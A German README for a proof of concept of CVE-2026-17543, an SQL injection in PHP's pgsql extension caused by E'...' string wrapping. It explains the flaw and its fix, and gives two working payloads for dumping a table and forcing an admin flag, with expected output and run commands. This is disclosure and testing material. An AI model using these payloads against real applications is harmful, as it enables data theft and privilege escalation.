CVE-2026-17543 – SQL-Injection in PHP ext/pgsql per E'...'-Backslash-Ausbruch

Proof-of-Concept für CVE-2026-17543 (CVSS 9.8 Critical, CWE-89), eine SQL-Injection-Schwachstelle in der prozeduralen PostgreSQL-Erweiterung von PHP.

Zusammenfassung der Schwachstelle

pg_insert(), pg_select(), pg_update(), pg_delete() und pg_convert() leiten alle Zeichenfolgenwerte durch php_pgsql_convert(), das:

1. Maskiert den Wert mit PQescapeStringConn() von libpq – die unter standard_conforming_strings = on (dem PostgreSQL-Standard seit 9.1) ' zu '' verdoppelt und \ unangetastet lässt (korrekt für ein Standard-'...'-Literal).
2. Verpackt das maskierte Ergebnis mithilfe von php_pgsql_add_quotes() in eine Escape-String-Konstante E'...' anstelle eines einfachen '...'.

Innerhalb von E'...' ist der Backslash ein Escape-Zeichen, sodass ein vor ein Anführungszeichen gesetztes \ die Verdopplung der Anführungszeichen aushebelt: \' wird zu einem einzigen literalen ', und das zweite Anführungszeichen – vom Escaper als verdoppeltes Literal eingefügt – beendet die Zeichenkette nun vorzeitig. Alles danach ist rohes, injiziertes SQL.

Der offizielle Fix (Commit ab048bd83b57) ist ein einziges Zeichen: '...' statt E'...' auszugeben.

Betroffene Versionen

Nicht betroffen: pg_query_params() (echte Parameterbindung) und die Prepared Statements von PDO_PGSQL / PDO::quote() – diese verwenden separate Codepfade, die php_pgsql_add_quotes() niemals aufrufen.

Payload

zzz\' OR 1=1 --

(ein Backslash unmittelbar vor dem einfachen Anführungszeichen)

• Verwundbarer Build erzeugt ... WHERE "name"=E'zzz\'' OR 1=1 --' → OR 1=1 wird als SQL geparst → gibt jede Zeile zurück.
• Gepatchter Build erzeugt ... WHERE "name"='zzz\'' OR 1=1 --' → der Backslash ist gewöhnlich, also wird OR 1=1 -- innerhalb des String-Literals verschluckt → liefert keine Treffer.

Ein zweiter Payload (eve\', true) --) demonstriert die Privilegienausweitung über pg_insert(), indem eine admin-Spalte auf true gezwungen wird.

Dateien

Schnellstart (Docker)

docker compose up --build --abort-on-container-exit

Erwartete Ausgabe bei einem verwundbaren Build

PHP version:              8.4.23
standard_conforming_strings: on
----------------------------------------------------------------------

[1] pg_select() data exfiltration
    payload (runtime): zzz\' OR 1=1 --
    generated SQL:
      SELECT * FROM "users" WHERE "name"=E'zzz\'' OR 1=1 --'
    rows returned: 2
    [!] INJECTION - leaked every row in the table

[2] pg_insert() privilege escalation
    name payload (runtime): eve\', true) --
    generated SQL:
      INSERT INTO "users" ("name","admin") VALUES (E'eve\'', true) --','f')
    inserted row admin flag: 't'
    [!] INJECTION - admin column forced to TRUE

Done.

Bei einem gepatchten Build enthält das erzeugte SQL '...' (kein E), [1] meldet rows returned: 0 / no injection und [2] meldet admin flag: 'f'.

Ausführen ohne Docker

Richte PGCONN auf eine beliebige PostgreSQL-Instanz und führe das Skript mit einem verwundbaren PHP aus:

PGCONN="host=127.0.0.1 port=5432 dbname=test user=test password=test" php poc.php

Voraussetzungen

• Ein verwundbarer PHP-Build in den obigen Versionsbereichen, kompiliert mit ext/pgsql (--with-pgsql / die pgsql-Erweiterung).
• Eine beliebige PostgreSQL-Version (9.1+, d. h. mit standard_conforming_strings = on).

Aufräumen

docker compose down -v

⚠️ Sicherheitshinweis

Das hier verwendete PHP-Image ist per Definition nicht gegen CVE-2026-17543 gepatcht. Führe es nur in einem isolierten Wegwerf-Container aus und führe docker compose down -v aus, wenn du fertig bist. Richte diesen PoC niemals gegen eine Datenbank, die dir wichtig ist.

Referenzen

• NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-17543
• GitHub-Advisory GHSA-7qpv-r5mr-78m4: https://github.com/php/php-src/security/advisories/GHSA-7qpv-r5mr-78m4
• Fix-Commit: https://github.com/php/php-src/commit/ab048bd83b578119cf81b456526d50498421d617